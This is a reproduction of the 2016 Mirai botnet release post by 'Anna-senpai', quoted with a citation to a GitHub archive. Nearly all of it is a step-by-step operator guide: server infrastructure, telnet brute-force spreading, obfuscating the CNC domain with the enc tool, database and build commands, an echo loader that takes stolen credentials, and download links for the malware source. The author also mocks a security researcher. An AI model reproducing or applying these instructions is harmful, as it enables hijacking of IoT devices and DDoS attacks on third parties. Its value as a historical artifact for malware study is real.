# Anna-Senpai Statement of Mirai Code

Taken from (Gamblin, 2016).

[FREE] World's Largest Net:Mirai Botnet, Client, Echo Loader, CNC source code release - Anna-senpai - 09-30-2016 11:50 AM

Preface

Greetz everybody,

When I first go in DDoS industry, I wasn't planning on staying in it long. I made my money, there's lots of eyes looking at IOT now, so it's time to GTFO. However, I know every skid and their mama, it's their wet dream to have something besides qbot.

So today, I have an amazing release for you. With Mirai, I usually pull max 380k bots from telnet alone. However, after the Kreb DDoS, ISPs been slowly shutting down and cleaning up their act. Today, max pull is about 300k bots, and dropping.

So, I am your senpai, and I will treat you real nice, my hf-chan.

And to everyone that thought they were doing anything by hitting my CNC, I had good laughs, this bot uses domain for CNC. It takes 60 seconds for all bots to reconnect, lol

Also, shoutout to this blog post by malwaremustdie

http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html

https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html <- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol

Had a lot of respect for you, thought you were good reverser, but you really just completely and totally failed in reversing this binary. "We still have better kung fu than you kiddos" don't make me laugh please, you made so many mistakes and even confused some different binaries with my. LOL

Let me give you some slaps back -

1) port 48101 is not for back connect, it is for control to prevent multiple instances of bot running together

2) /dev/watchdog and /dev/misc are not for "making the delay", it for preventing system from hanging. This one is low-hanging fruit, so sad that you are extremely dumb

3) You failed and thought FAKE\_CNC\_ADDR and FAKE\_CNC\_PORT was real CNC, lol "And doing the backdoor to connect via HTTP on 65.222.202.53". you got tripped up by signal flow ;) try harder skiddo

4) Your skeleton tool sucks ass, it thought the attack decoder was "sinden style", but it does not even use a text-based protocol? CNC and bot communicate over binary protocol

5) you say 'chroot("/") so predictable like torlus' but you don't understand, some others kill based on cwd. It shows how out-of-the-loop you are with real malware. Go back to skidland

5 slaps for you

Why are you writing reverse engineer tools? You cannot even correctly reverse in the first place. Please learn some skills first before trying to impress others. Your arrogance in declaring how you "beat me" with your dumb kung-fu statement made me laugh so hard while eating my SO had to pat me on the back.

Just as I forever be free, you will be doomed to mediocracy forever.

Requirements

Bare Minimum

2 servers: 1 for CNC + mysql, 1 for scan receiver, and 1+ for loading

Pro Setup (my setup)

2 VPS and 4 servers

- 1 VPS with extremely bulletproof host for database server

- 1 VPS, rootkitted, for scanReceiver and distributor

- 1 server for CNC (used like 2% CPU with 400k bots)

- 3x 10gbps NForce servers for loading (distributor distributes to 3 servers equally)

Infrastructure Overview

- To establish connection to CNC, bots resolve a domain (resolv.c/resolv.h) and connect to that IP address

- Bots brute telnet using an advanced SYN scanner that is around 80x faster than the one in qbot, and uses almost 20x less resources. When finding bruted result, bot resolves another domain and reports it. This is chained to a separate server to automatically load onto devices as results come in.

- Bruted results are sent by default on port 48101. The utility called scanListen.go in tools is used to receive bruted results (I was getting around 500 bruted results per second at peak). If you build in debug mode, you should see the utitlity scanListen binary appear in debug folder.

Mirai uses a spreading mechanism similar to self-rep, but what I call "real-time-load". Basically, bots brute results, send it to a server listening with scanListen utility, which sends the results to the loader. This loop (brute -> scanListen -> load -> brute) is known as real time loading.

The loader can be configured to use multiple IP address to bypass port exhaustion in linux (there are limited number of ports available, which means that there is not enough variation in tuple to get more than 65k simultaneous outbound connections - in theory, this value lot less). I would have maybe 60k - 70k simultaneous outbound connections (simultaneous loading) spread out across 5 IPs.

Configuring Bot

Bot has several configuration options that are obfuscated in (table.c/table.h). In ./mirai/bot/table.h you can find most descriptions for configuration options. However, in ./mirai/bot/table.c there are a few options you \*need\* to change to get working.

- TABLE\_CNC\_DOMAIN - Domain name of CNC to connect to - DDoS avoidance very fun with mirai, people try to hit my CNC but I update it faster than they can find new IPs, lol. Retards :)

- TABLE\_CNC\_PORT - Port to connect to, its set to 23 already

- TABLE\_SCAN\_CB\_DOMAIN - When finding bruted results, this domain it is reported to

- TABLE\_SCAN\_CB\_PORT - Port to connect to for bruted results, it is set to 48101 already.

In ./mirai/tools you will find something called enc.c - You must compile this to output things to put in the table.c file

Run this inside mirai directory

Code:

./build.sh debug telnet

You will get some errors related to cross-compilers not being there if you have not configured them. This is ok, won't affect compiling the enc tool

Now, in the ./mirai/debug folder you should see a compiled binary called enc. For example, to get obfuscated string for domain name for bots to connect to, use this:

Code:

./debug/enc string fuck.the.police.com

The output should look like this

Code:

XOR'ing 20 bytes of data...

\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22​

To update the TABLE\_CNC\_DOMAIN value for example, replace that long hex string with the one provided by enc tool. Also, you see "XOR'ing 20 bytes of data". This value must replace the last argument tas well. So for example, the table.c line originally looks like this

[/code]

add\_entry(TABLE\_CNC\_DOMAIN, "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22", 30); // cnc.changeme.com

[/code]

Now that we know value from enc tool, we update it like this

Code:

add\_entry(TABLE\_CNC\_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22​", 20); // fuck.the.police.com

Some values are strings, some are port (uint16 in network order / big endian).

Configuring CNC

Code:

apt-get install mysql-server mysql-client

CNC requires database to work. When you install database, go into it and run following commands:

http://pastebin.com/86d0iL9g

This will create database for you. To add your user,

Code:

INSERT INTO users VALUES (NULL, 'anna-senpai', 'myawesomepassword', 0, 0, 0, 0, -1, 1, 30, '');

Now, go into file ./mirai/cnc/main.go

Edit these values

Code:

const DatabaseAddr string = "127.0.0.1"

const DatabaseUser string = "root"

const DatabasePass string = "password"

const DatabaseTable string = "mirai"

To the information for the mysql server you just installed

Setting Up Cross Compilers

Cross compilers are easy, follow the instructions at this link to set up. You must restart your system or reload .bashrc file for these changes to take effect.

http://pastebin.com/1rRCc3aD

Building CNC+Bot

The CNC, bot, and related tools:

1) http://santasbigcandycane.cx/mirai.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!

[Image: BVc7qJs.png]

2) http://santasbigcandycane.cx/loader.src.zip - THESE LINKS WILL NOT LAST FOREVER, 2 WEEKS MAX - BACK IT UP!

How to build bot + CNC

In mirai folder, there is build.sh script.

Code:

./build.sh debug telnet

Will output debug binaries of bot that will not daemonize and print out info about if it can connect to CNC, etc, status of floods, etc. Compiles to ./mirai/debug folder

Code:

./build.sh release telnet

Will output production-ready binaries of bot that are extremely stripped, small (about 60K) that should be loaded onto devices. Compiles all binaries in format: "mirai.$ARCH" to ./mirai/release folder

Building Echo Loader

Loader reads telnet entries from STDIN in following format:

Code:

ip:port user:pass

It detects if there is wget or tftp, and tries to download the binary using that. If not, it will echoload a tiny binary (about 1kb) that will suffice as wget. You can find code to compile the tiny downloader stub h ere

http://santasbigcandycane.cx/dlr.src.zip

You need to edit your main.c for the dlr to include the HTTP server IP. The idea is, if the iot device doesn have tftp or wget, then it will echo load this 2kb binary, which download the real binary, since echo loading really slow.

When you compile, place your dlr.\* files into the folder ./bins for the loader

Code:

./build.sh

Will build the loader, optimized, production use, no fuss. If you have a file in formats used for loading, you can do this

Code:

cat file.txt | ./loader

Remember to ulimit!

Just so it's clear, I'm not providing any kind of 1 on 1 help tutorials or shit, too much time. All scripts and everything are included to set up working botnet in under 1 hours. I am willing to help if you have individual questions (how come CNC not connecting to database, I did this this this blah blah), but not questions like "My bot not connect, fix it"

REFERENCE

Gamblin, J. (2016). Mirai-Source-Code / ForumPost.txt. Retrieved from <https://github.com/jgamblin/Mirai-Source-Code/blob/master/ForumPost.txt>